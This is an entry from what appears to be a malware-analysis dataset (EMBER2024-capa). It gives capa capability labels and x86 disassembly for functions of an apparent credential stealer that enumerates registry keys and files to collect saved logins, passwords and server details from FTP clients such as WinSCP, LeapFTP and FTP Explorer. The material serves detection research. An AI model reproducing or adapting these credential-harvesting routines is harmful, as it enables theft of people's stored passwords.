joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4063be
Capabilities:
Gather ftp-explorer information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7cc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406640
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406416
jmp 0x406638
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
mov dword [ebp - 0x810], eax
lea eax, [ebp - 0x834]
push eax
push 0x415795
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x4157ab
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.Login
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.InitialPath
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x4157b6
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x4064e9
cmp dword [ebp - 0x828], 4
jne 0x4064e9
push dword [eax]
pop dword [ebp - 0x824]
jmp 0x4064f3
mov dword [ebp - 0x824], 0x15
push eax
call fcn.004017bd
lea eax, [ebp - 0x830]
push eax
push str.PasswordType
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x40652d
cmp dword [ebp - 0x830], 4
jne 0x40652d
push dword [eax]
pop dword [ebp - 0x82c]
jmp 0x406537
mov dword [ebp - 0x82c], 0
push eax
call fcn.004017bd
cmp dword [ebp - 0x81c], 0
je 0x406585
cmp dword [ebp - 0x82c], 2
jne 0x406585
push 0
lea eax, [ebp - 0x834]
push eax
push dword [ebp - 0x81c]
call fcn.0040410b
or eax, eax
je 0x406570
cmp dword [ebp - 0x834], 0
jne 0x406585
push dword [ebp - 0x81c]
call fcn.004017bd
mov dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0
je 0x4065f9
cmp dword [ebp - 0x814], 0
je 0x4065f9
cmp dword [ebp - 0x818], 0
je 0x4065f9
push 0xbeef0002
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x834]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014a4
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x4063e8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40684a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406a0e
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4068a2
jmp 0x406a06
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415865
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x415855
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x41585c
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FtpPort
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x40695e
cmp dword [ebp - 0x824], 4
jne 0x40695e
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004017bd
jmp 0x406972
or eax, eax
je 0x406968
push eax
call fcn.004017bd
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x4069d2
cmp dword [ebp - 0x814], 0
je 0x4069d2
cmp dword [ebp - 0x818], 0
je 0x4069d2
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x406874
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406a7e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406c6e
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406ad6
jmp 0x406c66
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
lea eax, [ebp - 0x828]
push eax
push 0x4158be
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str.Hostname
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.Username
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push 0x4158c7
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x406b97
cmp dword [ebp - 0x824], 4
jne 0x406b97
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004017bd
jmp 0x406bab
or eax, eax
je 0x406ba1
push eax
call fcn.004017bd
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x406c32
cmp dword [ebp - 0x814], 0
je 0x406c32
cmp dword [ebp - 0x818], 0
je 0x406c32
push 0
lea eax, [ebp - 0x828]
push eax
push dword [ebp - 0x81c]
call fcn.0040410b
or eax, eax
je 0x406c32
cmp dword [ebp - 0x828], 0
je 0x406c32
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x828]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014a4
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x406aa8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406eab
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407089
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406f00
jmp 0x407081
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415946
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str._Password
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x820], eax
push 0
push str.Server
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x41593d
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.Directory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x406fc1
cmp dword [ebp - 0x820], 0
je 0x407026
cmp dword [ebp - 0x814], 0
je 0x407026
cmp dword [ebp - 0x818], 0
je 0x407026
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406eab
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x406ed2
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x4070d6
Capabilities:
Gather fling-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4072b4
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40712b
jmp 0x4072ac
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push str.FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str._FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x820], eax
push 0
push str.FtpServer
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.FtpUserName
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.FtpDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x4071ec
cmp dword [ebp - 0x820], 0
je 0x407251
cmp dword [ebp - 0x814], 0
je 0x407251
cmp dword [ebp - 0x818], 0
je 0x407251
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004070d6
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x4070fd
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407301
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4073b0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x407353
jmp 0x4073a8
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x810], eax
or eax, eax
je 0x407398
cmp dword [ebp - 0x814], 0
je 0x407398
push 0xbeef0000
push dword [ebp - 0x814]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00403d46
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x407328
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x4074c5
Capabilities:
Gather direct-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401db6
or eax, eax
je 0x40757e
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0
je 0x4074f2
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.00401d51
mov dword [ebp - 4], eax
push str.SharedSettings.ccs
push dword [ebp - 4]
call fcn.00401cfd
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
push str.SharedSettings.sqlite
push dword [ebp - 4]
call fcn.00401cfd
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
push str.SharedSettings_1_0_5.ccs
push dword [ebp - 4]
call fcn.00401cfd
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
push str.SharedSettings_1_0_5.sqlite
push dword [ebp - 4]
call fcn.00401cfd
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
push dword [ebp - 4]
call fcn.004017bd
leave
ret 0xc
Function at 0x4075f7
Capabilities:
Gather leapftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40775e
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40764c
jmp 0x407756
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push str.InstallPath
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415b2b
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x814], 0
je 0x4076e3
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404080
push 0xbeef0001
push 0x415af1
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404080
cmp dword [ebp - 0x818], 0
je 0x40771c
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404080
push 0xbeef0001
push 0x415af1
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404080
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004075f7
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40761e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x4078e9
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407b4b
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40793e
jmp 0x407b43
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415b33
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x415b3c
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415b45
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x415b5e
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x407a0c
cmp dword [ebp - 0x820], 4
jne 0x407a0c
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.004017bd
jmp 0x407a20
or eax, eax
je 0x407a16
push eax
call fcn.004017bd
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407ae8
cmp dword [ebp - 0x814], 0
je 0x407ae8
cmp dword [ebp - 0x818], 0
je 0x407ae8
push 0xbeef0010
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
cmp dword [ebp - 0x82c], 0
je 0x407ade
cmp dword [ebp - 0x830], 4
jne 0x407ade
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.0040146e
jmp 0x407ae8
push 0
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x82c]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004078e9
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x407910
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407c3b
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407e4f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407c90
jmp 0x407e47
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x415bb9
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415bbd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x824], eax
push 0
push 0x415bd4
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x828], eax
push 0
push 0x415c10
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407de1
cmp dword [ebp - 0x814], 0
je 0x407de1
cmp dword [ebp - 0x818], 0
je 0x407de1
push 0xbeef0010
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014a4
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x82c]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407c3b
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x407c62
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408690
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x4086af
cmp byte [eax], 0
jne 0x4086b4
jmp 0x408805
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x4086cf
push str..
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x4086dc
push 0x414ec1
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408805
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x40879d
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408737
jmp 0x4087e0
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408754
jmp 0x4087e0
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x40876f
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x408779
push 0
push dword [ebp + 0xc]
call fcn.00401cfd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d51
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408690
call fcn.004017bd
jmp 0x4087e0
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4087e0
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
push eax
push dword [ebp + 8]
call fcn.0040864b
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x408712
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 0xc